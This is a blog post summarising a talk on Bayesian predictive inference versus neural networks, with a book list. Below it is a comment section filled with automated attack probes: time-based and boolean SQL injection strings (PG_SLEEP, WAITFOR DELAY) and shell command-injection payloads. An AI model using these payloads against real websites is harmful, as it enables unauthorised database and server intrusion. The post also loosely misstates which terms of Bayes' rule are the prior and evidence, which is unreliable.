Bayesian predictive inference machines

Perception vs. Inference

How would you want to base your next decision on the average opinion of everyone in the world or would you like to make a decision base on your own values and beliefs. Dr. Michael Green suggests that using some of the most popular models from machine learning today, depending on perception like neural nets, are like just fitting a line to existing data. Regardless of how deep your network is, the network does the exact same thing. You may configure it differently to get representations in different layers and make it more effective, but you are still only looking at what is part of your existing training sample. What you can do with Bayesian predictive inference machines using Probabilistic programming is to give the algorithm room for doubt and the possibility for the model to disproof your assumption. Where a perception model only gives you one answer that fits your model without questioning it.​

This sounds a lot like the point made by Geoffrey Hinton in the article Artificial intelligence pioneer says we need to start over, were he also argues that backpropagation probably is the wrong approach. There is nothing that suggests that backpropagation will provide any kind of intelligence. It is only an advanced way of building statistical models. If the model does not fit the data well enough you just throw some more neurons at it and you’re done. But just math and the statistical models will not represent the context that is a crucial part of intelligence and understanding.​

General intelligence

We also touched on the topic of general artificial intelligence and how it might come to be. The question is what goal the AI will have and in comparison, Dr. Green suggested that our human goal, more or less is to optimize for future freedom. But freedom means different things for each person, and the question is if the AI also will try to optimize for freedom. It will probably have a longer timeframe than humans, and will most probably be able to think in many more steps ahead. We can only hope that if the AI become sentient it will be like in the movie HER rather than Terminator.​

In order to become intelligent you need to be able to do Inference. When the field of AI was young a scientist (whose name I do not recall) cheated and said that p(θ|x), the prior probability, will not change so we can ignore it and the p(y,θ|x)dθ, the evidence is too much to take into account, and since θ will not change that much anyway we can ignore this as well. And so all researchers pursued p(y|θ,x), the liklihood and ignored the rest of the equation for calculating inference.​

Recommended books

A Bayesian Course with Examples in R and Stan - by Richard McElreath
Handbook of Markov Chain Monte Carlo - by Steve Brooks, Andrew Gelman, Galin L. Jones and Xiao-Li Meng
Make sure to get the 3rd edition of this one
Bayesian Networks for Probabilistic Inference and Decision Analysis in Forensic Science - by Franco Taroni, Alex Biedermann, Silvia Bozza, Paolo Garbolino, Colin Aitken
Bonus pdf while searching for the books... Probabilistic Networks — An Introduction to Bayesian Networks and Influence Diagrams

Final words from the presenter

We thank Dr. Green for an interesting presentation and her is what he wants us to take home from his talk.​

The presentation was recorded by FooCafe and we will provide a link to it as soon as it is released.

Here are the slides from the presentation.​

- Johan Broddfelt
Bayesian, Machine Learning, AI

<< Image classification The AI revolution in Science >>

Comment

Name
Mail (Not public)
Send mail uppdates on new comments

Comments

190 posts found

|echo htmuif$() osxtrmnz^xyu||a #' |echo htmuif$() osxtrmnz^xyu||a #|" |echo htmuif$() osxtrmnz^xyu||a #

2026-06-11 01:22:12 - zFPWdwPk

&echo fwojzo$() yjoxhpnz^xyu||a #' &echo fwojzo$() yjoxhpnz^xyu||a #|" &echo fwojzo$() yjoxhpnz^xyu||a #

2026-06-11 01:22:11 - zFPWdwPk

echo flgcib$() nbbhtbnz^xyu||a #' &echo flgcib$() nbbhtbnz^xyu||a #|" &echo flgcib$() nbbhtbnz^xyu||a #

2026-06-11 01:22:10 - zFPWdwPk

SvTvo29J')) OR 236=​(SELECT 236 FROM PG_SLEEP(12))--

2026-06-11 01:22:06 - zFPWdwPk

XE1iwArz') OR 364=​(SELECT 364 FROM PG_SLEEP(12))--

2026-06-11 01:22:05 - zFPWdwPk

JPOwh9bC' OR 131=​(SELECT 131 FROM PG_SLEEP(12))--

2026-06-11 01:22:03 - zFPWdwPk

-1)) OR 832=​(SELECT 832 FROM PG_SLEEP(12))--

2026-06-11 01:22:02 - zFPWdwPk

-5) OR 200=​(SELECT 200 FROM PG_SLEEP(12))--

2026-06-11 01:22:01 - zFPWdwPk

-5 OR 357=​(SELECT 357 FROM PG_SLEEP(12))--

2026-06-11 01:21:59 - zFPWdwPk

Hb728LoY'; waitfor delay '0:0:12' --

2026-06-11 01:21:56 - zFPWdwPk

1 waitfor delay '0:0:6' --

2026-06-11 01:21:53 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-11 01:21:33 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-11 01:21:27 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-11 01:21:25 - zFPWdwPk

-1" OR 3+523-523-1=​0+0+0+1 --

2026-06-11 01:20:53 - zFPWdwPk

-1" OR 2+523-523-1=​0+0+0+1 --

2026-06-11 01:20:52 - zFPWdwPk

-1" OR 2+523-523-1=​0+0+0+1 --

2026-06-11 01:20:21 - zFPWdwPk

-1' OR 3+22-22-1=​0+0+0+1 or 'aisvh5nt'=​'

2026-06-11 01:20:20 - zFPWdwPk

-1' OR 2+22-22-1=​0+0+0+1 or 'aisvh5nt'=​'

2026-06-11 01:20:19 - zFPWdwPk

-1' OR 3+152-152-1=​0+0+0+1 --

2026-06-11 01:20:17 - zFPWdwPk

-1' OR 3+152-152-1=​0+0+0+1 --

2026-06-11 01:19:47 - zFPWdwPk

-1' OR 2+152-152-1=​0+0+0+1 --

2026-06-11 01:19:46 - zFPWdwPk

-1 OR 3+78-78-1=​0+0+0+1

2026-06-11 01:19:45 - zFPWdwPk

-1 OR 2+78-78-1=​0+0+0+1

2026-06-11 01:19:44 - zFPWdwPk

-1 OR 3+147-147-1=​0+0+0+1 --

2026-06-11 01:19:42 - zFPWdwPk

IJxqEylA')) OR 101=​(SELECT 101 FROM PG_SLEEP(12))--

2026-06-11 01:19:41 - zFPWdwPk

-1 OR 2+147-147-1=​0+0+0+1 --

2026-06-11 01:19:41 - zFPWdwPk

|echo ywoilf$() iltohgnz^xyu||a #' |echo ywoilf$() iltohgnz^xyu||a #|" |echo ywoilf$() iltohgnz^xyu||a #

2026-06-11 01:19:40 - zFPWdwPk

rlW7J9xY') OR 516=​(SELECT 516 FROM PG_SLEEP(12))--

2026-06-11 01:19:40 - zFPWdwPk

&echo cvlnin$() ouaklknz^xyu||a #' &echo cvlnin$() ouaklknz^xyu||a #|" &echo cvlnin$() ouaklknz^xyu||a #

2026-06-11 01:19:39 - zFPWdwPk

qDsFhi7y' OR 345=​(SELECT 345 FROM PG_SLEEP(12))--

2026-06-11 01:19:39 - zFPWdwPk

echo ptwkuv$() ljokqjnz^xyu||a #' &echo ptwkuv$() ljokqjnz^xyu||a #|" &echo ptwkuv$() ljokqjnz^xyu||a #

2026-06-11 01:19:38 - zFPWdwPk

-1)) OR 982=​(SELECT 982 FROM PG_SLEEP(12))--

2026-06-11 01:19:37 - zFPWdwPk

-5) OR 403=​(SELECT 403 FROM PG_SLEEP(12))--

2026-06-11 01:19:36 - zFPWdwPk

-5 OR 356=​(SELECT 356 FROM PG_SLEEP(12))--

2026-06-11 01:19:35 - zFPWdwPk

vTp5Oi8J'; waitfor delay '0:0:12' --

2026-06-11 01:19:33 - zFPWdwPk

1 waitfor delay '0:0:12' --

2026-06-11 01:19:32 - zFPWdwPk

-1); waitfor delay '0:0:12' --

2026-06-11 01:19:31 - zFPWdwPk

-1; waitfor delay '0:0:12' --

2026-06-11 01:19:30 - zFPWdwPk

-1" OR 3*2>(0+5+420-420) --

2026-06-11 01:19:24 - zFPWdwPk

-1" OR 3*2<(0+5+420-420) --

2026-06-11 01:19:23 - zFPWdwPk

-1" OR 3+420-420-1=​0+0+0+1 --

2026-06-11 01:19:22 - zFPWdwPk

-1" OR 2+420-420-1=​0+0+0+1 --

2026-06-11 01:19:21 - zFPWdwPk

-1' OR 3*2>(0+5+949-949) or 'cMymEkv9'=​'

2026-06-11 01:19:20 - zFPWdwPk

-1' OR 3*2<(0+5+949-949) or 'cMymEkv9'='

2026-06-11 01:19:19 - zFPWdwPk

-1' OR 3+949-949-1=​0+0+0+1 or 'cMymEkv9'=​'

2026-06-11 01:19:18 - zFPWdwPk

-1' OR 2+949-949-1=​0+0+0+1 or 'cMymEkv9'=​'

2026-06-11 01:19:17 - zFPWdwPk

-1' OR 3*2>(0+5+58-58) --

2026-06-11 01:19:16 - zFPWdwPk

-1' OR 3*2<(0+5+58-58) --

2026-06-11 01:19:15 - zFPWdwPk

-1' OR 3+58-58-1=​0+0+0+1 --

2026-06-11 01:19:14 - zFPWdwPk

-1' OR 2+58-58-1=​0+0+0+1 --

2026-06-11 01:19:13 - zFPWdwPk

-1 OR 3*2>(0+5+886-886)

2026-06-11 01:19:12 - zFPWdwPk

-1 OR 3*2<(0+5+886-886)

2026-06-11 01:19:11 - zFPWdwPk

-1 OR 3+886-886-1=​0+0+0+1

2026-06-11 01:19:10 - zFPWdwPk

-1 OR 2+886-886-1=​0+0+0+1

2026-06-11 01:19:09 - zFPWdwPk

-1 OR 3*2>(0+5+386-386) --

2026-06-11 01:19:09 - zFPWdwPk

-1 OR 3*2<(0+5+386-386) --

2026-06-11 01:19:08 - zFPWdwPk

-1 OR 3+386-386-1=​0+0+0+1 --

2026-06-11 01:19:07 - zFPWdwPk

-1 OR 2+386-386-1=​0+0+0+1 --

2026-06-11 01:19:06 - zFPWdwPk

-1" OR 3+538-538-1=​0+0+0+1 --

2026-06-08 20:18:13 - wUmrLVWz

-1" OR 2+538-538-1=​0+0+0+1 --

2026-06-08 20:18:09 - wUmrLVWz

-1' OR 3+490-490-1=​0+0+0+1 or 'geUwbtnz'=​'

2026-06-08 20:18:07 - wUmrLVWz

|echo fbysbg$() zgeyyvnz^xyu||a #' |echo fbysbg$() zgeyyvnz^xyu||a #|" |echo fbysbg$() zgeyyvnz^xyu||a #

2026-06-08 20:18:02 - wUmrLVWz

-1' OR 2+490-490-1=​0+0+0+1 or 'geUwbtnz'=​'

2026-06-08 20:18:01 - wUmrLVWz

&echo yknmnj$() fdslbqnz^xyu||a #' &echo yknmnj$() fdslbqnz^xyu||a #|" &echo yknmnj$() fdslbqnz^xyu||a #

2026-06-08 20:18:00 - wUmrLVWz

-1' OR 3+698-698-1=​0+0+0+1 --

2026-06-08 20:17:57 - wUmrLVWz

echo mbyczy$() dlszrwnz^xyu||a #' &echo mbyczy$() dlszrwnz^xyu||a #|" &echo mbyczy$() dlszrwnz^xyu||a #

2026-06-08 20:17:57 - wUmrLVWz

-1' OR 2+698-698-1=​0+0+0+1 --

2026-06-08 20:17:51 - wUmrLVWz

-1 OR 3+192-192-1=​0+0+0+1

2026-06-08 20:17:48 - wUmrLVWz

-1 OR 2+192-192-1=​0+0+0+1

2026-06-08 20:17:45 - wUmrLVWz

-1 OR 3+898-898-1=​0+0+0+1 --

2026-06-08 20:17:41 - wUmrLVWz

-1 OR 2+898-898-1=​0+0+0+1 --

2026-06-08 20:17:37 - wUmrLVWz

|echo uxsogd$() bcrrulnz^xyu||a #' |echo uxsogd$() bcrrulnz^xyu||a #|" |echo uxsogd$() bcrrulnz^xyu||a #

2026-06-08 19:31:13 - wUmrLVWz

&echo ryaszj$() zskemnnz^xyu||a #' &echo ryaszj$() zskemnnz^xyu||a #|" &echo ryaszj$() zskemnnz^xyu||a #

2026-06-08 19:31:09 - wUmrLVWz

echo paqueq$() gbqdqenz^xyu||a #' &echo paqueq$() gbqdqenz^xyu||a #|" &echo paqueq$() gbqdqenz^xyu||a #

2026-06-08 19:31:04 - wUmrLVWz

U549ZtaP')) OR 957=​(SELECT 957 FROM PG_SLEEP(16))--

2026-06-08 19:10:52 - wUmrLVWz

KnCmmrei') OR 386=​(SELECT 386 FROM PG_SLEEP(16))--

2026-06-08 19:10:47 - wUmrLVWz

EjFZ4RUj' OR 300=​(SELECT 300 FROM PG_SLEEP(16))--

2026-06-08 19:10:39 - wUmrLVWz

-1)) OR 922=​(SELECT 922 FROM PG_SLEEP(16))--

2026-06-08 19:10:34 - wUmrLVWz

-5) OR 479=​(SELECT 479 FROM PG_SLEEP(16))--

2026-06-08 19:10:25 - wUmrLVWz

-5 OR 974=​(SELECT 974 FROM PG_SLEEP(16))--

2026-06-08 19:10:17 - wUmrLVWz

YO1i4EMr'; waitfor delay '0:0:16' --

2026-06-08 19:10:01 - wUmrLVWz

1 waitfor delay '0:0:16' --

2026-06-08 19:09:53 - wUmrLVWz

-1); waitfor delay '0:0:16' --

2026-06-08 19:09:45 - wUmrLVWz

-1; waitfor delay '0:0:16' --

2026-06-08 19:09:35 - wUmrLVWz

-1" OR 3+384-384-1=​0+0+0+1 --

2026-06-08 19:08:38 - wUmrLVWz

-1" OR 2+384-384-1=​0+0+0+1 --

2026-06-08 19:08:31 - wUmrLVWz

-1' OR 3+374-374-1=​0+0+0+1 or 'uSvdBnxT'=​'

2026-06-08 19:08:29 - wUmrLVWz

-1' OR 2+374-374-1=​0+0+0+1 or 'uSvdBnxT'=​'

2026-06-08 19:08:22 - wUmrLVWz

-1' OR 3+740-740-1=​0+0+0+1 --

2026-06-08 19:08:19 - wUmrLVWz

-1' OR 2+740-740-1=​0+0+0+1 --

2026-06-08 19:08:16 - wUmrLVWz

-1 OR 3+398-398-1=​0+0+0+1

2026-06-08 19:08:13 - wUmrLVWz

-1 OR 2+398-398-1=​0+0+0+1

2026-06-08 19:08:09 - wUmrLVWz

-1 OR 3+510-510-1=​0+0+0+1 --

2026-06-08 19:08:06 - wUmrLVWz

-1 OR 2+510-510-1=​0+0+0+1 --

2026-06-08 19:08:03 - wUmrLVWz

TjeVHyhW')) OR 906=​(SELECT 906 FROM PG_SLEEP(12))--

2026-06-08 12:08:02 - wUmrLVWz

dFpi4YuY') OR 787=​(SELECT 787 FROM PG_SLEEP(12))--

2026-06-08 12:08:00 - wUmrLVWz

sU1wiyx1' OR 101=​(SELECT 101 FROM PG_SLEEP(12))--

2026-06-08 12:07:57 - wUmrLVWz

|echo dsqwjs$() gbsnoqnz^xyu||a #' |echo dsqwjs$() gbsnoqnz^xyu||a #|" |echo dsqwjs$() gbsnoqnz^xyu||a #

2026-06-08 12:07:57 - wUmrLVWz

-1)) OR 336=​(SELECT 336 FROM PG_SLEEP(12))--

2026-06-08 12:07:56 - wUmrLVWz

&echo zqwawv$() ctlprhnz^xyu||a #' &echo zqwawv$() ctlprhnz^xyu||a #|" &echo zqwawv$() ctlprhnz^xyu||a #

2026-06-08 12:07:56 - wUmrLVWz

echo nudoxe$() tlzsnbnz^xyu||a #' &echo nudoxe$() tlzsnbnz^xyu||a #|" &echo nudoxe$() tlzsnbnz^xyu||a #

2026-06-08 12:07:53 - wUmrLVWz

-5) OR 290=​(SELECT 290 FROM PG_SLEEP(12))--

2026-06-08 12:07:53 - wUmrLVWz

-5 OR 39=​(SELECT 39 FROM PG_SLEEP(12))--

2026-06-08 12:07:50 - wUmrLVWz

9ViJdrGt'; waitfor delay '0:0:12' --

2026-06-08 12:07:49 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 12:07:48 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 12:07:47 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 12:07:45 - wUmrLVWz

-1" OR 3*2>(0+5+905-905) --

2026-06-08 12:07:33 - wUmrLVWz

-1" OR 3*2<(0+5+905-905) --

2026-06-08 12:07:30 - wUmrLVWz

-1" OR 3+905-905-1=​0+0+0+1 --

2026-06-08 12:07:29 - wUmrLVWz

-1" OR 2+905-905-1=​0+0+0+1 --

2026-06-08 12:07:28 - wUmrLVWz

-1' OR 3*2>(0+5+858-858) or 'a62pWEAT'=​'

2026-06-08 12:07:25 - wUmrLVWz

-1' OR 3*2<(0+5+858-858) or 'a62pWEAT'='

2026-06-08 12:07:25 - wUmrLVWz

-1' OR 3+858-858-1=​0+0+0+1 or 'a62pWEAT'=​'

2026-06-08 12:07:23 - wUmrLVWz

-1' OR 2+858-858-1=​0+0+0+1 or 'a62pWEAT'=​'

2026-06-08 12:07:21 - wUmrLVWz

-1' OR 3*2>(0+5+640-640) --

2026-06-08 12:07:17 - wUmrLVWz

-1' OR 3*2<(0+5+640-640) --

2026-06-08 12:07:15 - wUmrLVWz

-1' OR 3+640-640-1=​0+0+0+1 --

2026-06-08 12:07:13 - wUmrLVWz

-1' OR 2+640-640-1=​0+0+0+1 --

2026-06-08 12:07:09 - wUmrLVWz

-1 OR 3*2>(0+5+199-199)

2026-06-08 12:07:07 - wUmrLVWz

-1 OR 3*2<(0+5+199-199)

2026-06-08 12:07:04 - wUmrLVWz

-1 OR 3+199-199-1=​0+0+0+1

2026-06-08 12:07:02 - wUmrLVWz

-1 OR 2+199-199-1=​0+0+0+1

2026-06-08 12:07:01 - wUmrLVWz

-1 OR 3*2>(0+5+841-841) --

2026-06-08 12:06:58 - wUmrLVWz

-1 OR 3*2<(0+5+841-841) --

2026-06-08 12:06:55 - wUmrLVWz

-1 OR 3+841-841-1=​0+0+0+1 --

2026-06-08 12:06:51 - wUmrLVWz

-1 OR 2+841-841-1=​0+0+0+1 --

2026-06-08 12:06:49 - wUmrLVWz

|echo ppfeca$() tlkeqqnz^xyu||a #' |echo ppfeca$() tlkeqqnz^xyu||a #|" |echo ppfeca$() tlkeqqnz^xyu||a #

2026-06-08 11:42:03 - wUmrLVWz

&echo rorsoe$() aumaeinz^xyu||a #' &echo rorsoe$() aumaeinz^xyu||a #|" &echo rorsoe$() aumaeinz^xyu||a #

2026-06-08 11:42:02 - wUmrLVWz

echo oypkeg$() jyqfvenz^xyu||a #' &echo oypkeg$() jyqfvenz^xyu||a #|" &echo oypkeg$() jyqfvenz^xyu||a #

2026-06-08 11:41:57 - wUmrLVWz

EcUxY4ia')) OR 571=​(SELECT 571 FROM PG_SLEEP(12))--

2026-06-08 11:41:24 - wUmrLVWz

g0yC6H5r') OR 390=​(SELECT 390 FROM PG_SLEEP(12))--

2026-06-08 11:41:22 - wUmrLVWz

xbg0A5Dk' OR 77=​(SELECT 77 FROM PG_SLEEP(12))--

2026-06-08 11:41:19 - wUmrLVWz

-1)) OR 255=​(SELECT 255 FROM PG_SLEEP(12))--

2026-06-08 11:41:17 - wUmrLVWz

-5) OR 212=​(SELECT 212 FROM PG_SLEEP(12))--

2026-06-08 11:41:16 - wUmrLVWz

-5 OR 512=​(SELECT 512 FROM PG_SLEEP(12))--

2026-06-08 11:41:14 - wUmrLVWz

TMA4Zj1X'; waitfor delay '0:0:12' --

2026-06-08 11:41:11 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 11:41:09 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 11:41:06 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 11:41:05 - wUmrLVWz

-1" OR 3+733-733-1=​0+0+0+1 --

2026-06-08 11:40:52 - wUmrLVWz

-1" OR 2+733-733-1=​0+0+0+1 --

2026-06-08 11:40:46 - wUmrLVWz

-1' OR 3+242-242-1=​0+0+0+1 or 'ITavFRAj'=​'

2026-06-08 11:40:44 - wUmrLVWz

-1' OR 2+242-242-1=​0+0+0+1 or 'ITavFRAj'=​'

2026-06-08 11:40:39 - wUmrLVWz

-1' OR 3+684-684-1=​0+0+0+1 --

2026-06-08 11:40:38 - wUmrLVWz

-1' OR 2+684-684-1=​0+0+0+1 --

2026-06-08 11:40:36 - wUmrLVWz

-1 OR 3+914-914-1=​0+0+0+1

2026-06-08 11:40:32 - wUmrLVWz

-1 OR 2+914-914-1=​0+0+0+1

2026-06-08 11:40:29 - wUmrLVWz

-1 OR 3+783-783-1=​0+0+0+1 --

2026-06-08 11:40:26 - wUmrLVWz

-1 OR 2+783-783-1=​0+0+0+1 --

2026-06-08 11:40:25 - wUmrLVWz